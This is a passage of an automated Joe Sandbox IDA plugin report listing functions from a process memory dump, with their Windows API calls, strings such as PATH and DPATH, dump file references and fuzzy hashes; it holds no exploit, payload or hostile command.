Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D530DD
Part of subcall function 00007FF718D53060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D530F6
Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D53106

wcsrchr.MSVCRT ref: 00007FF718D492D8
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D49362
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D49373

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Error$Mode$AttributesFileLast_wcsicmpmemsetwcsrchr$CurrentDirectoryFullNamePathwcschr
String ID:
API String ID: 3966000956-0
Opcode ID: ebfeb5aba0ebfd8d4bf52c22c54dc17d70488fb3d721b256590214c2a6c830f5
Instruction ID: da95b63afb2cd9854da63f31223b6ce31f6ec4b8c7999bdc5c0510cf410f0d62
Opcode Fuzzy Hash: ebfeb5aba0ebfd8d4bf52c22c54dc17d70488fb3d721b256590214c2a6c830f5
Instruction Fuzzy Hash: 6A519132A09B8A85EB21AF21D8552BDE3A0FB4DB64F884171DA8D07B94DF3CE15DC714

Function 00007FF718D6E558 Relevance: 7.6, APIs: 5, Instructions: 100COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D6E5AD
memset.MSVCRT ref: 00007FF718D6E5D2

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

_wcsicmp.MSVCRT ref: 00007FF718D6E6A0
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6E6CB
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6E6EB

Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,0000000A,00007FF718D492AC), ref: 00007FF718D530CA
Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D530DD
Part of subcall function 00007FF718D53060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D530F6
Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D53106

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorModememset$FullNamePath_wcsicmp
String ID:
API String ID: 2123716050-0
Opcode ID: adb19cba2c66798b02c2a5bbb02a13772110447b40978f30d8852c1ecb13dfff
Instruction ID: 2ede39c5e764906d82746c1559c5b1a7e0a52ce66e8702293063dc1b6383eeaf
Opcode Fuzzy Hash: adb19cba2c66798b02c2a5bbb02a13772110447b40978f30d8852c1ecb13dfff
Instruction Fuzzy Hash: 6B41D432705FCA8AEB359F21D8413E9A7A4EB4D75CF944134CA8D4AA98DF3CE24C8314

Function 00007FF718D465F8 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

RoInitialize.API-MS-WIN-CORE-WINRT-L1-1-0 ref: 00007FF718D46627
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00007FF718D46642

Part of subcall function 00007FF718D55A68: _get_osfhandle.MSVCRT ref: 00007FF718D55A89
Part of subcall function 00007FF718D55A68: SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D55A9E
Part of subcall function 00007FF718D55A68: _get_osfhandle.MSVCRT ref: 00007FF718D55AAC

memset.MSVCRT ref: 00007FF718D46697
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00007FF718D466B0
RoUninitialize.API-MS-WIN-CORE-WINRT-L1-1-0 ref: 00007FF718D4670C

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$Window_get_osfhandle$InitializeModeUninitializememset
String ID:
API String ID: 3114114779-0
Opcode ID: 1d3c40c4db9270235dfbff6205660991289e4dcca270832023e59d6b38883110
Instruction ID: 8581490a6cffa08ab49ed88a40f0adb06c8f3f4d525376edf5b3e0ffe83da1ce
Opcode Fuzzy Hash: 1d3c40c4db9270235dfbff6205660991289e4dcca270832023e59d6b38883110
Instruction Fuzzy Hash: 93415832A05F0ACAE700AF65E4402ACB7B5FB48758FA44075EA4E93B54DF38E40EC764

Function 00007FF718D532E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D533A8: iswspace.MSVCRT(?,?,00000000,00007FF718D6D6EE,?,?,?,00007FF718D60632), ref: 00007FF718D533C0

iswspace.MSVCRT(?,?,?,00007FF718D532A4), ref: 00007FF718D5331C

Strings

off, xrefs: 00007FF718D53386

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswspace
String ID: off
API String ID: 2389812497-733764931
Opcode ID: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction ID: ad7fa7c888ccb346f1c3ca85c388ce643c7487069608ed1b580f77283de28b4a
Opcode Fuzzy Hash: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction Fuzzy Hash: 2E215321E0CF5A81FB687B15945527DE6B1EF4EBB0FC8823AD98D47681DE1CE44C8329

Function 00007FF718D69308 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF718D69350

Part of subcall function 00007FF718D509F4: iswspace.MSVCRT ref: 00007FF718D50A11
Part of subcall function 00007FF718D509F4: wcschr.MSVCRT ref: 00007FF718D50A2B

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

Strings

PATH, xrefs: 00007FF718D69371, 00007FF718D693AA
%s=%s, xrefs: 00007FF718D693C0
DPATH, xrefs: 00007FF718D69361, 00007FF718D6939F

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: %s=%s$DPATH$PATH
API String ID: 3731854180-3148396303
Opcode ID: ed2b41c8f7c1b35c8c8099a63381124b221818ea20370dab215de2e112638c1b
Instruction ID: b65361c612fb6f5a392367021ec2550d0bc8dc8aeae03df54dfdf37a3c662378
Opcode Fuzzy Hash: ed2b41c8f7c1b35c8c8099a63381124b221818ea20370dab215de2e112638c1b
Instruction Fuzzy Hash: 4521B021B08F5F90EB54BB65E4402B9E2B1AF88BA4FD84135DD8E47394DE2CD44C8368

Function 00007FF718D58198 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00007FF718D581EA
wcscmp.MSVCRT ref: 00007FF718D581FD

Strings

????????.???, xrefs: 00007FF718D581F3
*.*, xrefs: 00007FF718D581E0

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcscmp
String ID: *.*$????????.???
API String ID: 3392835482-3870530610
Opcode ID: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction ID: 66ba722c32ac06b3c80d949fcf81467e05751207a07caeea03e1695df8630f91
Opcode Fuzzy Hash: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction Fuzzy Hash: AF110225B24F6A80E764AB22A44153AF6B1FB4CBA1F884132CECD47B45DE3CE4498724

Function 00007FF718D41130 Relevance: 6.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D4138B

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

Part of subcall function 00007FF718D41140: towupper.MSVCRT ref: 00007FF718D411D3

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D414A6

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: 8f12ec0cfcd936a987ebeb0b3721ecca5b9c81898bdfe4a19f372ac06b3fdf31
Instruction ID: ba9da38a9d6737a6aaf5cc53de4c1bc6c47ec2e4f3ff0c51ded7d74d21885afc
Opcode Fuzzy Hash: 8f12ec0cfcd936a987ebeb0b3721ecca5b9c81898bdfe4a19f372ac06b3fdf31
Instruction Fuzzy Hash: C8619032B08F868AEB10EB65D4402ADF7B4FB48768F944235DE9D13A99DF38D458C714

Function 00007FF718D46A48 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D53C24: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D53D0C
Part of subcall function 00007FF718D53C24: towupper.MSVCRT ref: 00007FF718D53D2F
Part of subcall function 00007FF718D53C24: iswalpha.MSVCRT ref: 00007FF718D53D4F
Part of subcall function 00007FF718D53C24: towupper.MSVCRT ref: 00007FF718D53D75
Part of subcall function 00007FF718D53C24: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D53DBF

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925,?,?,?,?,00007FF718D4B9B1), ref: 00007FF718D46ABF
RtlFreeHeap.NTDLL ref: 00007FF718D46AD3

Part of subcall function 00007FF718D46B84: SetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,00007FF718D46AE8,?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925), ref: 00007FF718D46B8B
Part of subcall function 00007FF718D46B84: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,00007FF718D46AE8,?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925), ref: 00007FF718D46B97
Part of subcall function 00007FF718D46B84: RtlFreeHeap.NTDLL ref: 00007FF718D46BAF

Part of subcall function 00007FF718D46B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D46AF1,?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925), ref: 00007FF718D46B39
Part of subcall function 00007FF718D46B30: RtlFreeHeap.NTDLL ref: 00007FF718D46B4D
Part of subcall function 00007FF718D46B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D46AF1,?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925), ref: 00007FF718D46B59

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925,?,?,?,?,00007FF718D4B9B1), ref: 00007FF718D46B03
RtlFreeHeap.NTDLL ref: 00007FF718D46B17

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Process$Free$towupper$CurrentDirectoryEnvironmentFullNamePathStringsiswalpha
String ID:
API String ID: 3512109576-0
Opcode ID: 382550a8889551dd1746f9e05062d813c656d27a38cd142319c153c86f485295
Instruction ID: f42d970d601c5e6634eb633fce20940771660511a128658ad0c6f260eb06a008
Opcode Fuzzy Hash: 382550a8889551dd1746f9e05062d813c656d27a38cd142319c153c86f485295
Instruction Fuzzy Hash: D3219F21909F8AC5EB04BF65A4153B8FBA1EF5DB59F988071CA8E03351DE2CA44DC338

Function 00007FF718D4B6B0 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4AF82), ref: 00007FF718D4B6D0
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4AF82), ref: 00007FF718D4B6E7
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4AF82), ref: 00007FF718D4B701
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4AF82), ref: 00007FF718D4B715

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Process$AllocSize
String ID:
API String ID: 2549470565-0
Opcode ID: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction ID: 6b200a1628b1971bd647378313e4c0b820458c63185ef431d3856d4167e8f1c3
Opcode Fuzzy Hash: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction Fuzzy Hash: CC214531A09F8A86EB18AB55E440078F6A1FB5DBA4BDC9571DA8E03B54DF3CE44DC324

Function 00007FF718D459E4 Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D51EA0: wcschr.MSVCRT(?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF718D70D54), ref: 00007FF718D51EB3

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D45A2E
_open_osfhandle.MSVCRT ref: 00007FF718D45A4F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00008000,?,00000001,00007FF718D4260D), ref: 00007FF718D637AA
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D637D2

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast_open_osfhandlewcschr
String ID:
API String ID: 22757656-0
Opcode ID: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
Instruction ID: ad23408d0f4b4a7dc82d0f14924b4b3dbe66e2beeff0bde0b77f5d87b1c545b6
Opcode Fuzzy Hash: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
Instruction Fuzzy Hash: 9A115E71A14B498BE7146B24E449339EAA0EB8DB78FA44334D6AA077D0CF3CD44D8B14

Function 00007FF718D59158 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF718D59163
RtlLookupFunctionEntry.NTDLL ref: 00007FF718D59182
RtlVirtualUnwind.NTDLL ref: 00007FF718D591CF
__raise_securityfailure.LIBCMT ref: 00007FF718D59245

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction ID: f4002d9b01eb0b71fdb9cf5f5ef3d3bb77ca4d3c8a0d209f1062cd42d8c43493
Opcode Fuzzy Hash: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction Fuzzy Hash: 8D216D36918F4985E740AB04E885369F7B4FB89768F900136EA8D82768DF7DE44DC728

Function 00007FF718D65690 Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF718D65433,?,?,?,00007FF718D669B8,?,?,?,?,?,00007FF718D58C39), ref: 00007FF718D656C5
RtlFreeHeap.NTDLL ref: 00007FF718D656D9
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF718D65433,?,?,?,00007FF718D669B8,?,?,?,?,?,00007FF718D58C39), ref: 00007FF718D656FD
RtlFreeHeap.NTDLL ref: 00007FF718D65711

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction ID: f34df002d96e504040e0ef05f15a3baa538542540be2dae09cbd49f7f54d69ca
Opcode Fuzzy Hash: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction Fuzzy Hash: 55111672A04F8586DB049F56E4040A8FBB0F74DF99B988135DB8E03718DF38E49AC754

Function 00007FF718D54AD0 Relevance: 6.0, APIs: 4, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D54AD6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D54AEF

Part of subcall function 00007FF718D54A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A28
Part of subcall function 00007FF718D54A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A66
Part of subcall function 00007FF718D54A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A7D
Part of subcall function 00007FF718D54A14: memmove.MSVCRT(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A9A
Part of subcall function 00007FF718D54A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54AA2

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D5EE64
RtlFreeHeap.NTDLL ref: 00007FF718D5EE78

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Process$AllocEnvironmentFreeStrings$memmove
String ID:
API String ID: 2759988882-0
Opcode ID: 75675db4d9e082b6ee3134e55f7fee0755989425f88a4696f40f247a198a0c52
Instruction ID: 846b0f8ef4ba59fb6c60c5467aaee5f563d42ba14470364107582182c9568d99
Opcode Fuzzy Hash: 75675db4d9e082b6ee3134e55f7fee0755989425f88a4696f40f247a198a0c52
Instruction Fuzzy Hash: EDF03C60A15F8686EB08AB669405178E9F1EF8EB65BC89134C98E42340EE3CA50C8235

Function 00007FF718D4CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF718D5C736
